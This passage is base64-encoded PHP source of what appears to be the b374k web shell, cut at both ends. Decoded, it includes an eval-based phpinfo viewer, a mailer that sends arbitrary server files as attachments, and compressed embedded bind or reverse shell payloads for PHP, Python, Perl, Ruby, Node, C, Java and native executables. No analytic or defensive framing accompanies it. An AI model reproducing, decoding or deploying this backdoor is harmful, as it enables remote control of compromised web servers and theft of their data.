Jz4iLiRwLiI8L3A+IjsKCQkJb2Jfc3RhcnQoKTsKCQkJZXZhbCgicGhwaW5mbygiLiRpLiIpOyIpOwoJCQkkYiA9IG9iX2dldF9jb250ZW50cygpOwoJCQlvYl9lbmRfY2xlYW4oKTsKCQkJaWYocHJlZ19tYXRjaCgiLzxib2R5PiguKj8pPFwvYm9keT4vaXMiLCAkYiwgJHIpKXsKCQkJCSRib2R5ID0gc3RyX3JlcGxhY2UoYXJyYXkoIiwiLCAiOyIsICImYW1wOyIpLCBhcnJheSgiLCAiLCAiOyAiLCAiJiIpLCAkclsxXSk7CgkJCQkkYm9keSA9IHN0cl9yZXBsYWNlKCI8dGFibGUiLCAiPHRhYmxlIGNsYXNzPSdib3h0YmwnICIsICRib2R5KTsKCQkJCSRib2R5ID0gcHJlZ19yZXBsYWNlKCIvPHRyIGNsYXNzPVwiaFwiPiguKj8pPFwvdHI+LyIsICIiLCAkYm9keSk7CgkJCQkkYm9keSA9IHByZWdfcmVwbGFjZSgiLzxhIGhyZWY9XCJodHRwOlwvXC93d3cucGhwLm5ldFwvKC4qPyk8XC9hPi8iLCAiIiwgJGJvZHkpOwoJCQkJJGJvZHkgPSBwcmVnX3JlcGxhY2UoIi88YSBocmVmPVwiaHR0cDpcL1wvd3d3LnplbmQuY29tXC8oLio/KTxcL2E+LyIsICIiLCAkYm9keSk7CgoJCQkJJHJlcyAuPSAiPGRpdiBjbGFzcz0naW5mbycgaWQ9JyIuJGkuIicgc3R5bGU9J21hcmdpbi1ib3R0b206OHB4O2Rpc3BsYXk6bm9uZTsnPiIuJGJvZHkuIjwvZGl2PiI7CgkJCX0KCQl9CgoJCSRyZXMgLj0gIjxzcGFuIGNsYXNzPSdidXR0b24gY29sU3Bhbicgb25jbGljaz1cImluZm9fcmVmcmVzaCgpO1wiIHN0eWxlPSdtYXJnaW4tYm90dG9tOjhweDsnPnJlZnJlc2g8L3NwYW4+PGRpdiBzdHlsZT0nY2xlYXI6Ym90aDsnPjwvZGl2PiI7CgkJcmV0dXJuICRyZXM7Cgl9Cn0KCmlmKGlzc2V0KCRwWydpbmZvUmVmcmVzaCddKSl7CglvdXRwdXQoaW5mb19nZXRpbmZvKCkpOwp9CgokR0xPQkFMU1snbW9kdWxlJ11bJ21haWwnXVsnaWQnXSA9ICJtYWlsIjsKJEdMT0JBTFNbJ21vZHVsZSddWydtYWlsJ11bJ3RpdGxlJ10gPSAiTWFpbCI7CiRHTE9CQUxTWydtb2R1bGUnXVsnbWFpbCddWydqc19vbnRhYnNlbGVjdGVkJ10gPSAiaWYoIXBvcnRhYmxlTW9kZSkgJCgnI21haWxGcm9tJykuZm9jdXMoKTsiOwokR0xPQkFMU1snbW9kdWxlJ11bJ21haWwnXVsnY29udGVudCddID0gIgo8dGFibGUgY2xhc3M9J2JveHRibCc+Cjx0aGVhZD4KCTx0cj48dGggY29sc3Bhbj0nMic+PHAgY2xhc3M9J2JveHRpdGxlJz5NYWlsPC9wPjwvdGg+PC90cj4KPC90aGVhZD4KPHRib2R5IGlkPSdtYWlsVEJvZHknPgoJPHRyPjx0ZCBzdHlsZT0nd2lkdGg6MTIwcHgnPkZyb208L3RkPjx0ZCBjb2xzcGFuPScyJz48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J21haWxGcm9tJyB2YWx1ZT0nJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnbWFpbF9zZW5kJyk7XCI+PC90ZD48L3RyPgoJPHRyPjx0ZD5UbzwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nbWFpbFRvJyB2YWx1ZT0nJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnbWFpbF9zZW5kJyk7XCI+PC90ZD48L3RyPgoJPHRyPjx0ZD5TdWJqZWN0PC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdtYWlsU3ViamVjdCcgdmFsdWU9Jycgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ21haWxfc2VuZCcpO1wiPjwvdGQ+PC90cj4KPC90Ym9keT4KPHRmb290PgoJPHRyPjx0ZCBjb2xzcGFuPScyJz48dGV4dGFyZWEgaWQ9J21haWxDb250ZW50JyBzdHlsZT0naGVpZ2h0OjE0MHB4O21pbi1oZWlnaHQ6MTQwcHg7Jz48L3RleHRhcmVhPjwvdGQ+PC90cj4KCTx0cj4KCQk8dGQgY29sc3Bhbj0nMic+PHNwYW4gc3R5bGU9J3dpZHRoOjEyMHB4OycgY2xhc3M9J2J1dHRvbicgb25jbGljaz1cIm1haWxfc2VuZCgpO1wiPnNlbmQ8L3NwYW4+CgkJPHNwYW4gc3R5bGU9J3dpZHRoOjEyMHB4OycgY2xhc3M9J2J1dHRvbicgb25jbGljaz1cIm1haWxfYXR0YWNoKCk7XCI+YXR0YWNobWVudDwvc3Bhbj4KCQk8L3RkPgoJPC90cj4KCTx0cj48dGQgY29sc3Bhbj0nMic+PHNwYW4gaWQ9J21haWxSZXN1bHQnPjwvc3Bhbj48L3RkPjwvdHI+CjwvdGZvb3Q+CjwvdGFibGU+CiI7CgppZighZnVuY3Rpb25fZXhpc3RzKCdzZW5kX2VtYWlsJykpewoJZnVuY3Rpb24gc2VuZF9lbWFpbCgkZnJvbSwgJHRvLCAkc3ViamVjdCwgJG1zZywgJGF0dGFjaG1lbnQpewoJCSRoZWFkZXJzID0gIk1JTUUtVmVyc2lvbjogMS4wXHJcbiIuJGZyb207CgoJCSRyYW5kID0gbWQ1KHRpbWUoKSk7CgkJJGhlYWRlcnMgLj0gIkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOyBib3VuZGFyeT1cIiIuJHJhbmQuIlwiXHJcblxyXG4iOwoKCQkkaGVhZGVycyAuPSAiLS0iLiRyYW5kLiJcclxuIjsKCQkkaGVhZGVycyAuPSAiQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9XCJVVEYtOFwiXHJcbkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IDhiaXRcclxuXHJcbiI7CgkJJGhlYWRlcnMgLj0gJG1zZy4iXHJcblxyXG4iOwoKCQlpZihjb3VudCgkYXR0YWNobWVudCk+MCl7CgkJCWZvcmVhY2goJGF0dGFjaG1lbnQgYXMgJGZpbGUpewoJCQkJaWYoaXNfZmlsZSgkZmlsZSkpewoJCQkJCSRjb250ZW50ID0gY2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZShyZWFkX2ZpbGUoJGZpbGUpKSk7CgkJCQkJJGhlYWRlcnMgLj0gIi0tIi4kcmFuZC4iXHJcbiI7CgkJCQkJJGhlYWRlcnMgLj0gIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtOyBuYW1lPVwiIi5iYXNlbmFtZSgkZmlsZSkuIlwiXHJcbiI7CgkJCQkJJGhlYWRlcnMgLj0gIkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6IGJhc2U2NFxyXG4iOwoJCQkJCSRoZWFkZXJzIC49ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50XHJcblxyXG4iOwoJCQkJCSRoZWFkZXJzIC49ICRjb250ZW50LiJcclxuXHJcbiI7CgkJCQl9CgkJCX0KCQl9CgkJJGhlYWRlcnMgLj0gIi0tIi4kcmFuZC4iLS1cclxuIjsKCQlpZihAbWFpbCgkdG8sICRzdWJqZWN0LCAiIiwgJGhlYWRlcnMpKSByZXR1cm4gdHJ1ZTsKCQlyZXR1cm4gZmFsc2U7Cgl9Cn0KCmlmKGlzc2V0KCRwWydtYWlsRnJvbSddKSYmaXNzZXQoJHBbJ21haWxUbyddKSYmaXNzZXQoJHBbJ21haWxTdWJqZWN0J10pJiZpc3NldCgkcFsnbWFpbENvbnRlbnQnXSkpewoJJG1haWxGcm9tID0gdHJpbSgkcFsnbWFpbEZyb20nXSk7CgkkbWFpbFRvID0gdHJpbSgkcFsnbWFpbFRvJ10pOwoJJG1haWxTdWJqZWN0ID0gdHJpbSgkcFsnbWFpbFN1YmplY3QnXSk7CgkkbWFpbENvbnRlbnQgPSB0cmltKCRwWydtYWlsQ29udGVudCddKTsKCSRtYWlsQXR0YWNobWVudCA9IHRyaW0oJHBbJ21haWxBdHRhY2htZW50J10pOwoJJG1haWxBdHRhY2htZW50ID0gKCFlbXB0eSgkbWFpbEF0dGFjaG1lbnQpKT8gZXhwbG9kZSgie1t8YjM3NGt8XX0iLCAkcFsnbWFpbEF0dGFjaG1lbnQnXSk6YXJyYXkoKTsKCglpZihlbXB0eSgkbWFpbFRvKSkgb3V0cHV0KCJQbGVhc2Ugc3BlY2lmeSBhdCBsZWFzdCBvbmUgcmVjaXBpZW50Iik7CglpZighZW1wdHkoJG1haWxGcm9tKSl7CgkJJG1haWxGcm9tID0gIkZyb206ICIuJG1haWxGcm9tLiJcclxuUmVwbHktVG86ICIuJG1haWxGcm9tLiJcclxuIjsKCX0KCglmb3JlYWNoKCRtYWlsQXR0YWNobWVudCBhcyAkZmlsZSl7CgkJJGZpbGUgPSB0cmltKCRmaWxlKTsKCQlpZihlbXB0eSgkZmlsZSkpIGNvbnRpbnVlOwoJCWlmKCFpc19maWxlKCRmaWxlKSkgb3V0cHV0KCJObyBzdWNoIGZpbGUgOiAiLiRmaWxlKTsKCX0KCglpZihzZW5kX2VtYWlsKCRtYWlsRnJvbSwgJG1haWxUbywgJG1haWxTdWJqZWN0LCAkbWFpbENvbnRlbnQsICRtYWlsQXR0YWNobWVudCkpIG91dHB1dCgiTWFpbCBzZW50IHRvICIuaHRtbF9zYWZlKCRtYWlsVG8pKTsKCW91dHB1dCgiRmFpbGVkIHRvIHNlbmQgbWFpbCIpOwp9Cgokc2VydmVyX2FkZHIgPSBpc3NldCgkX1NFUlZFUlsnU0VSVkVSX0FERFInXSk/ICRfU0VSVkVSWydTRVJWRVJfQUREUiddOmlzc2V0KCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk/JF9TRVJWRVJbIkhUVFBfSE9TVCJdOiIiOwokcmVtb3RlX2FkZHIgPSBpc3NldCgkX1NFUlZFUlsnUkVNT1RFX0FERFInXSk/ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOiIiOwokZGVmYXVsdF9wb3J0ID0gMTMxMjM7CiR3aW5iaW5hcnkgPSAoc3RydG9sb3dlcihzdWJzdHIocGhwX3VuYW1lKCksMCwzKSk9PSJ3aW4iKT8gIjxvcHRpb24+ZXhlY3V0YWJsZTwvb3B0aW9uPiI6IiI7CgokR0xPQkFMU1sncmVzb3VyY2VzJ11bJ3JzX3BocCddID0gIjdWUk5qOXMyRUQzYnYwSlJCU3lGS3JabEZ3aXdMamVYOWxnZ2FBdjBrTjBLTWtXdENFc2l5NkZxQjkzOTd4MSt5QjhiWnpkSWcxNWFHSmJJR2M2YjRjelQrLzZ0YXRUMG02Z3hSc0gxZkg0dlRETnNaa3gyODgzcXpYZGIvNXh5cmFVdU5GZFNHOUhmazBXNm5nSTNoUkVkTDFyUkNlTk1jbE9JVHJXQ0NWUFU3UUFOUWVNME1hVys1d1lvMzZ0V1ZwekVVWndGSS9vVEJqUmZyZDdnYWxmU2ZtaGJYUEhEQ2hvYVl5QW1qbjc5OGVlZjZONXczYTNmL1pMVHE5dmszVzgvM0Z5dGd4dHQ2L2xHOUhOb290Y2l4dGlPeHE3K0NCcmV0dEYxeEdUZmMyWjRkZHVqZnlwcXd1VFFHektXbUZLYXAzOU5KNG1pd2JUR0RWWVEyN2RCT05GWHVINmM4aGI0cGZEbGVUaThYOXg1aUlNaHZ4dXhTcloxV0xhT2V1aVpFYkl2K0Y2QUFYS2xXRy9hb3BaNmU1VjZURkhSbzlGMmRvSnh6a3hmNXluR0daS2ZXTDFsRVN4S2d0Z1hPRE1RRlVuUEkzd0ZXRks0bjBzSEZJem1aVmVBWkZzY05YRDlKOWNrTmt3aFR4WXo5N3VPWjRuS0VxUkhMOTBMWTJ6Q01UUlFSQTdZSThoV3JwaUVQVUV1R2VQS0hnaWxvdGZJVnU0d0d3d2IzQkhrYURIMFpjZEptaTJ5VllyMXh6dlJ1MEluOVU0THcwbkNzcVNiWVlmWkRpODRpMjlpQ3pmWk5hSkZwM3BGYVYzaXpGeUlIVkJ0aDRGUjdwVHJrT2IzUlZjYTFwQjR6cXJiaUx6Ly9SYnV2azNuQXVtS3Q5UTY5ZEdUcEtvb2J2MG9mYlNBb2hLYW9DZE5XVE11dlR1UjlMUXVaM3kwajBBaW8wVjNldXRFdVJ2YStjVFJ3MFAwQ2Y4ZkEvclRhSU85M0s1SHVBaVQ4YjI5TWVaQ2xzOCt5bnpTTCtrS3RLWFVySlhBeDNhTU96Y1JkRnZncDYxMkI1TUthS2wxK1lFczZJMWZ4RW9vSG1leGp0TXNmMnJjb1hGNXdlakJsS1pLUzFaSXhYdE0zbVFJajUwWHlybXhVYSt3eTVxREhEU3pOOFI1SEZsL3lybE5pOHl5T21XRDhRdk1GcytmeUY4OHNYejJCQXRPVHphamgwQXorMTF6V2R1MlBqejRsVStYcHNlcEpib01QYlI5RGVXRXBKNUFoNXd0YWhmQjh4a3FKWDV1WldZMThrQmcwUmRISEYwZXlDcG9qZkdWTXpNSW5CeEhHUnFVaVBSSXl6T3NzYUJMZ0tQdkkxVDJBdUR5R2NEbHk0Q1A1eHc5SWUrNDlOYzYzK2RQOXFHOWpuS2pXWHZHSC9UZGk2SVY2aUNLdFJVdFQ5REdxUUx2OFQ5cTI1ZXJGM3lSZXNGL1ZyM2drbnA5U3EvZ2Y3MDZPd0V2NlJWOG5sN0JWOUlydUt3RzhLL3BGWHh0dllMUDBhdC9MRkp2Yi80RyI7CiRHTE9CQUxTWydyZXNvdXJjZXMnXVsncnNfcHl0aG9uJ10gPSAiclZSdGI5b3dFUDZjL0lyVW5ZWXRVbE5vcTAxMFFVSnRPbFZiV3dSTSs5QjJLRGdIaVFwT1pEc3QvZmM3Snlrd3hOUVBteEJKN3NWMzk5dzk1OE9EVnFGVmE1cktGc2huTDM4MVNTYmRReTh4SnRmZFZtdWVtcVNZY3BFdFc5T1RUNmRQMWROTmwzbW1qS2ZBMThVMFY1a0FyZjFNKy9vVi81bDRBdU9iZEFsdUhoRGlKdllSdzh6VENTd1dWTEN1NjlnendlWXNIMlE1U0NyODBpVVlxd0lqbXpncnpCOU8xNFBRcWtHcGZlcFU3bXFaNnlnd2haS2UxZklxSWxjUXhaUTEzMVFZYlV1MXpBMWxIS1RJWXFDTndzeU9QamVZVzVZZkNaTm1zcW8vblhtWjVqSmF3a0ZBcENHb2NtYUI0TE4wQVRLam1OaEJPN2JEd0pJU1dKWHRHb2ZEbTJCbFFDM1BCNk4yMFBndytIblphNXpYVmxTZGw0UFFpWGVVZWw4K2txWTJpczVZazNpOWJhR3prVEFQTERUWTdDOEpwdlpzNTZ6a0dQVmF2aDJGVlNrUXo3UjkzRGxsUElZU0dTbVJFVnVuQXlzQnVhbTg4MGpyVWxkSGRTeFNoRVFWNngxWENtY2FLT0FhSWlVU1NrVDg0Tkg3WHcvNnNjbUlyL3paSXBwcjYzRDk5Zlp1R0Y3MFJ5R3JqbUdnYVIyaGJsOGVtWVNuT2s0Vm5mSzV5b3FjdGhsNzg3RU5GTW1Pc2JiaDRFREc5Ry96cXQwMklEQ1lwVkxKUDhXMmlpaU1GOG00UklqZkZtTWQya3J1T29oWDArZ3FRcWxpdzF2dTdwcGo1RUdTSmhZOUJ5TmVMSjFJajdqekFFbkFJelYvZHV0T3psa1FkT3dLQlBQNzlxTUxpeTM5eVVidkpQanVXRHZtaDFWcUVEN3VVeW9Oelptcmcyck5lUFdpdGRTL21semZodU42Qi9ubzd1TGJaRFFlaHYwYlBJTEFqRFZrK2RwL2RQZDlZcDIyajB5RzRZOVIyTCs4SFBxWWNhZG96WkdoTWFYa21KYy80dWUyMjVvdlVxUzZwR2NvV09yaEtrY3NRT0RDY3N2dXc0Wmw5bWJnZWdGZ0o3b2g4TDZWZWhzMEplVzlVOTBnWHRjVG1aUWdETVRZOHIzVFg0Lyt2UUJrdmZSNzQ2eDMzdDJaa2dYcElVR3JPSlFtVlNQMm9qeDdENlgrVjVUNnY2RFU3RGM9IjsKJEdMT0JBTFNbJ3Jlc291cmNlcyddWydyc19wZXJsJ10gPSAibFpKaGI5TXdFSVkvMTcvQ1pGNmJTSUcwREFtcEpoVlZtcUZxYTFQRkhRaFJpTkwwV0t5bGNSUzdyS2dydngwbnkyZ0VRb0o4c081ZW41NnpIdVhzbWJPVHBiUG11UVA1TjF4QW1hRXpuQ3BWeUtIajNIS1Y3dFl2RXJGMTFoZXZYOTA5bm1nbkFVK0Q0WkNKNUE0VVJVUklsM3dKZENGVDE0QjlJVXFGbDM0NGMvY0t5aTFkc0lIYlc1SEZoOGxxMUtQTnZRNXB2VmVtK0RrM0tPSmZ6UXIwWSt2YzY1UmJoNXAyN2dVenR2QzljK3hjR2ZTSWlISnZRUldsVUdMOVBZKzNZUFpVVXZRc2ltVDlHcFBaM2NWbE5KMzdTN3ZMQXU4cVlzdlFIODlzb3F5SGh3MEgwNnBYdlIySDc5Njc3c0E2b0E0cFhGSzFuL3FmS2VwSVVCVktGQldMQmRkUlJkRTBGa1NoZjhQODhXUVMyZ05ONmVqWGIvUk1OUjF2Tm1YRWM1TVU5blJlVFVUaitVZnJ0TEdUY2FrZzE5TVhyVEJPRXRCclBKdFo5V0tOODJ5amxveGxDbG1HaHpnUmVRNkpnczBxTit4K05TY0t5REZiVHFaejIzalQ5UXo2RkFRM1M5c1l0Uk0vREpzRWRXQVBDZFpPVCt1VFRFZ3dQWXMrRnV4WFViRmJqZWEyT3MyMGFoeFh1RThST2lMSTVNbm95eitOa3JUcEJuWEhYWjZEaW1JbHRLKzBwWVBFN204dUNXOWROeWEwUXhLMzRsb2IremR0WnFOdDFHV0dSWitTeGxzN2FzUlYwZC9OL1pld1doTWNLbTJtL251T1NIOC9BUT09IjsKJEdMT0JBTFNbJ3Jlc291cmNlcyddWydyc19ydWJ5J10gPSAidFZiN2I5TTZGUDdaK1N1TU4waHpWeExHUStoMk42dkdVMGdncWpHNFFtUVh0YzVwWXkxMWd1M1FvVzM4N2ZpVnJxWHQxaXZkNjZwMWVzN244L1Q1MnAwN1NTTkZNbUk4QWY0ZGkyYjBJOWpCaFZLMTdDWEpoS21pR2NXMG1pYWpSMDhmbjduUFFNQzNoZ25Bb2F6b0dhandXbEFQVmNHSFV3aURJSWN4bGcwOWt3RVNvQnJCOGZISFo1Ky9EdDRlbmJ4NmYvd3V6cXNacDBNSjhYU29hTkVKcDNMRytLVjVUeG1mek1Lb3IwUUR2Zkd3bEJBQXo1MUZBY1BTT09sSUpTSnRPZFY3Z05nWXYySWx4SERPcEpKOXI5VGFnWThuNWpDejByZzFFS3ZxcXc3TkdEYkhiYVJZRmNDeFNFVThrYzJvazJSSjBpVlpSaUpzWVQ0TjRhTFJoNDZPWDMrS1MrQVRWYVRwZm9EMU1xSXZEMDdUbjhrL1h4N2MvL1AwWXIvNzVHbzM2ZGZwRzY1Z0FxTGpFVkZQQjZ2c0dabWVQQjk4QVBFZGhJMlRrRzRkV1ExTlpUeWtGR29IcEhFdEdGZVkyRFpnV1VCWjRoNm1GZWRBRmVRWkp4WTNnZ25qOXNrc0hTaXZsTzhGWGxqamxKb3FzQ1VobkFQRjB2b1pkd2ljMTVWUStPVGw4YnYwWElHWUhndys3S2RodGp2NCswVjJHQjU0dlJZZTJEc2tDM3lmNGV5djdON2RIR2VIZG52b2R0SWRtMWMwOXdhbXNZdXUyL1RtUFNZeGlmYklJVmxDelFyZGFWenEyQ2VnbGhNeVN3eVpCQXhDVk9LWnFFenlwV2xHemlBVC9kMWtCZStyVThhMHFLWjFtaEt5QXZFd1k0Zm1PUDRqWVdzaFpwVnA2ZStPUmlhc0c0YVJNN3p4Ukh0MWN6MC9WRlhpUjc5VFJodlJ6c2U4UUxjZ1h6Q2h2V3ZMTndITlpkNmsyNjRqQ3czMVpjcG12UnZMdEM1cFY2ZXRFN29OL3ArbUJSdE52WGtmMTFVTnZGTjJpU0RSeFNXckxsdnpyREpzays4UlBaZDdLNzZ1Z20zRC9sMjIrTDE5RmlCcGMzM3ZOZm5ONlFXNGJNUjFCakttWmJXUWtVdzVLNFBXbHV2aEVyRTl0QVM1Z2RpMG8xVnFPOURTSXJYZjlrODF4NW9DK29BYzRUckdzejhlanZGMkxvb3J5M3BJYnNGeHlCRWNRa3ZVaGhBYWE3NjBqSWFNdS8rYnlGQ2IyVHpvMVF1bGxTMWhTVWRZV29KdUlTa2JQMXJEVE1qTEY2bkl5dEJtNGtIdG9UVTBnOXJEaTR6aWhVdms0VVMyZDNiZG1MQ3R5MjlNc0RtS2RwQlgzUzVyL28xejhNaDEweW0zbk00bHAzNTNtLzh6c0hiZ2tKODJFNldiTS8xa0p3ejU4WEtUWjhGRzhncz0iOwokR0xPQkFMU1sncmVzb3VyY2VzJ11bJ3JzX25vZGUnXSA9ICJuVkhMYnNJd0VEd2JpWCtJY29raklWc3FTSlZBblBvSlBkS0hqTE5ncTQ2VDJnNVVRdng3L1FnVTZFTlZjckN5TzdPenU3T1Vac0s1MXM0cDNVb251alhoVFUzWDAvdlpXM3JIb3gwem1XM1pYbWZMek1CN0p3M2dnZ3VwcXRmV05CeXNMVW9TQ1l0RTF1QXVxVDRzeWg2eXpnQ3JMOUdVT1JONG8yMmo0S3BWU2tWS3J5SkFLVThwNkZwcWFrWGhFYm5CL1RTa1ZjeHRHbE9UbWprdU1IM1plNVlzeTY4NlhsY0VQcUE0S3pLejNYbmdwQkRDcEJuK2lBSzlkV0s1bkphSDhRZ0Z2dkJrdnhmaGZuZ0hqMkIyWVBDbTA5ekpSbU1iZWNpU3ZaRU9jQjZON0x2UHc0b2F1SVBxU2VkaHA2ei8wbVplT0hxSkkvMFN0NEpZVjBsTkROaXVCbHplUWszbmlPK2VWOHl4ZkhLYUpzTWhMZytuYVdLME9INVhCbU1HbHY5VmRocjZXelZLcnlCS1dnYzZPcjI2ZXc3SjQzZ0V5a0oyNi8vczdMKzk4djhoT1JxczcxVW04YUtyYVpUNzd5SFFieGRBUDFpUEJucU9CcHFOaHJsOC9BUT0iOwokR0xPQkFMU1sncmVzb3VyY2VzJ11bJ3JzX2djYyddID0gInJWSmhiOW93RVAwTXY4SmpVK3RRajVDMDA2VFNWRUtGU1dndFJNQTBUUnVLZ21QSXFjR09Zak5CcC83MzJuRmd3TFJKay9vaHlkMjdsM2YydlhPYktGVXFsOWV1dXdTVnJ1Y3RLbGJ1L1BMajFhTjlvNlpiZnd1Y1p1dUVvUnVwRWhDdDlQWUlLb0F2VDdFa2cva0p0cFd1MnVaTS9nbExRUitaT3NZNVU2QWZGL2d4dnVhZzFRMEdYS0ZWREJ5YklDNldsTkEwTGxCVGh6Ky96NXhmOVpvcFNFS0pDTHhPdmFZUHVxWWEwTTNpSkNraTRBZzBEQXRzZmc0QzMveFNnNVlFSGkzaUZXVGJvUHNwR2d6NzA4NGV6MFdoZ2xRSkxuR3NCT0N5bHpkem5OOFVvOTJTNWFka1puZ3c3UFo2NDZnNy9GYlNaR0R2aXl0MU1obmRmWTRtMDNHLyswRGFsc0tVNFloY1lhbkw5NUdobE14bzNQOHk2UnM5Y2lhSWhDY21GbGhVL1JmNGpYVFlCaFMyTW5QZ2lSYkFKemRIVGVjTVNIdmpXVmFtQjhxNDVuMG9VeHJFbExLeWMzdC9ISzFEU2NNdWhFeFpscUZyUkFYbmpDcVcvT0FONGw5VjNHU2QrNXA3bEhpSGlXOGx0N3JwQ2pmWXhvd1VUZnZqaDJDaldMSHFoQk12T0g4WGZ1M2RubmVxcW9aMHlDaHk5WTFjbWFMMzBMQm56WVJrbUpyNHVWNWptV1JvYitmbDY5dHBGcktNTE5HZjJTay9zVUxzRUtKbm5lbHA3Z2dYM3NVaHN0UCs1dzRNd25BOG1vNmk2VjI0OHhWWHcvNnJtOVVtbk5RY3g3bHBIMjVFNmFUOER5ZmxjZUlkSnEvdnBMUk9QdGRmQUE9PSI7CiRHTE9CQUxTWydyZXNvdXJjZXMnXVsncnNfamF2YSddID0gImxWUk5iOXN3REQyblFQK0Q0Sk05QkhhVERkaldJc093WVljQkF6b3N2WFhCSUN1TXJkV1dCWW5PQjlMODkxR3k3TGhyTHoxRWtjZ244dkdSY3BheEVsSGI2eXdySkpadG5vcW16dkszNzk4OWRPdmxoYXgxWTVEOTVWdWV5aVo5Yy9QVXBBQzk3ZkpDdDNrbEJSTVZ0NWI1eTMrTVBWNWVUTFNSVzQ3QUxISWt3RVlxWGdXWVJnWjdCTFcyN0s0MHdOY09QMXo0cm5TTFN5Ujd6YVM5R2J0dVd6ejdtaFk5QTNKM0hEVEdUKzlPbjExSWpsaEttMHE3b01oK1M4YUZpM1RxUW4yKzNZSXhjZzJqdU50R3JwbHBWWng0bmhNMGgyNHp5UThJOXl1V3N3VlRzR1ArK0dIMmNiNjY2ZnhTSVJQa3BEeXV6RGhQZ21OWHlncGk4V2x4bGJBUWEwSXMwcDJSQ0hFK3ZacUtIdXJ0bTZxMVpUeVlYb3g1OG4vZEtqaUtNdjYyRjZCUk5vcEJjb1NVVkZTa0JSY1BkNFlMb0hBZTdKYXUrbEJ2NkpndnUrWlN4YVNmVkFVVnlrMWhPeEZjWlc0Y2ZPN096MFM5Smw1UmxrdVYyVEx5THJtSmx3ZUxVS2NGNEUvVGFEQjRpS1BHcG9yWEVDVXBOaithSFppdjNCS2hWS28xN0c4M2NiU1RLa3FjUE1jUWxmNmlqbS9JdG5OV1AzRE1sbEJWN0pxSlJpa1FDT3ZmcXNzKzZzL09FZmhDWnh0a1hEYmlBWkNWb1hmZE1maUdEaE45VjNOYWdTcXdYQ3htWVFRbS9pa3NhRllSQ2pDcDVzWUNIVHo2L21yVjkyUUpodVlwcExKOXFwRXhkb0Y2dE9OaVV5NWMxL3BtZC8yRXlnTDduOHo4dFdRNjRhUW1ySGZOVnFQRUl4R2tucklScjlQTFVyREhSL1l5bi9FckxLUXJ1M1Rxajh6REtEOTVvRVV6WU1mMkFVeisvb1gwSmhvcEFlNlRRaGQvdFFwbERlNTYyTkpFd1I1RVRNT1RoRzhGcVVXVE93c0ZrODc2R2JXcEk5SW5jT2o1R1YyNHI0cCt6bkNBejFKNlBzYTFUOCtIN1ZsR3Y3emlkZEx2OUE4PSI7CiRHTE9CQUxTWydyZXNvdXJjZXMnXVsncnNfZXhlY3V0YWJsZSddID0gIjdWaDVWRlBudGo5SkRrbElRZ2Fab2dZNWFCU3NpRXhWUk5DRVdRbENHUVFWU1FJSkdNbUF5UWxEdFJJYVFHS01qWFVveFpHV2VudGJxMWdwQ0NoR2dnZ1ZGV2NvSUZocEw3d3dWYjJBQlQzM29ONnVEbSt0dDliOTY2MjMzbDdaMzk3NzkvMzJ6dmVkWkozejdSTzF5UWpnQUFBQVVVVVFBTGdBdkJFTzhEK0xCbFdxY3gwVnFMSys0WElCdzd2aEVyOVZvb0t5bElvTXBWQUdwUW5sY2dVTXBZb2hwVm9PU2VSUVNIUWNKRk9JeEI0Mk5pVDIyeG94b1FEQXcrQ0FIMUthWS85ZHR3K2c0Y2dZckFNQW9RRWQxWlBvcHdHMWxhaTJ2MTNkREk1OXMyN00yL1cvVFg0emh3cnU5UWk5amVtLzRmVGZid0t0NTRjQi9tUFphZ0lBNW4rUWx4Q1Q1UG5hT2ZtN0JXSC9jbjM3VUo3WHY3Znhldit6L3NyanZPRjUvN2E1OXJjY3U3L3dURDRlbml0bXZ0ekZ4aHByWFdaMHJIdm4zWjBqVnc4Q1FDRVZaYmdCd0NJQUNCaHFRNUE0N1pCZmVRU0hBeFNaWU5hMUVEWVJJSURZNnA3eEtaQk5SZHJaRkRLZHNXaGdXRjdUVGFXM2dRVHJaSkFVWUhDZkNCanZjdGZoNk9XQUoyY2xJT0NBK015NmtkcTVYR2VLcXh1Ulc5ZjEwY3ZrY3FaQUdhUjMycnZkK25Od2xXNWpmNlpDSDB6WCtjOFgyVjUyd2JWNHhvQlMvYTJSK25QMlhEcUZmRkhiUHphYnlvS0hiQjQwNkpjUmovcVZIL2FmUEhkNUdMZkJQSCtuanJYMm5nRmVCQ2hxcW1VME43MnI1M0pNNEg1N1UwN2dldnpqbmtBRFhobFZqNWtORUhlb2tJemxoZHBKREszd3VjMHRXdEZKd2lOcHpXVXZrN2JKYlhPam15RTcrQ0FjR1hqNFZxL2lGZDR4OElDNjEzSSswSW9XRk9oMHF4am5MVWdBWVluTGNMM04rVy90Q2k4Z2dLWENxMnZ3Tks2KzhpbG1pYUhLU1BaWGRLcnExKzB0VkhreVYvdEgxTzIvRkh0eFZnSG1jY1Nwb1phNVpDTzlPM1YzUDZhb0t5bi9uNjlLNTM1ZURyTmM5VVFmbUR3NmFxaXVORngweGN0Wit6QkQ3U09UOW9YV0E1a3ZmVXFjTHhrakYyRWp5NDlXN2pjL3NrUDZkT00wb3hGSWZ6STZxYmVoTUl0YVliOEUzVS9OekF0bkg3Y0NuTzdZbEFVbUt1T1d1a3V3dm44QjBjSGExYTluWkpTOG9OVnN2SkJrR1RSeXQ1ampESk01T1ZVODd6UmsrelFqY1VQY2V3VkRTYmhyOWRjRytxK3JEZCsxZlZZSjFORW5IWWNLa1FuZDdXZGZHWW9nYS9DNlJGN3ZsRUVFdmRUZ1Q2dXd4QVFNNWM0eHhrMDdBcDN5cmZVQkxSRXZEemRQZEkwazM5ZUYxbnpRRCtTUjZCU3hlZDFtQ1dIQ1JXQnlmZWozM1dqWDN2UUZqNjZGVmlibzhiYjFUa05tZjBOb0UvdGd1a3NUTm5sWVBMc2ZzQU5i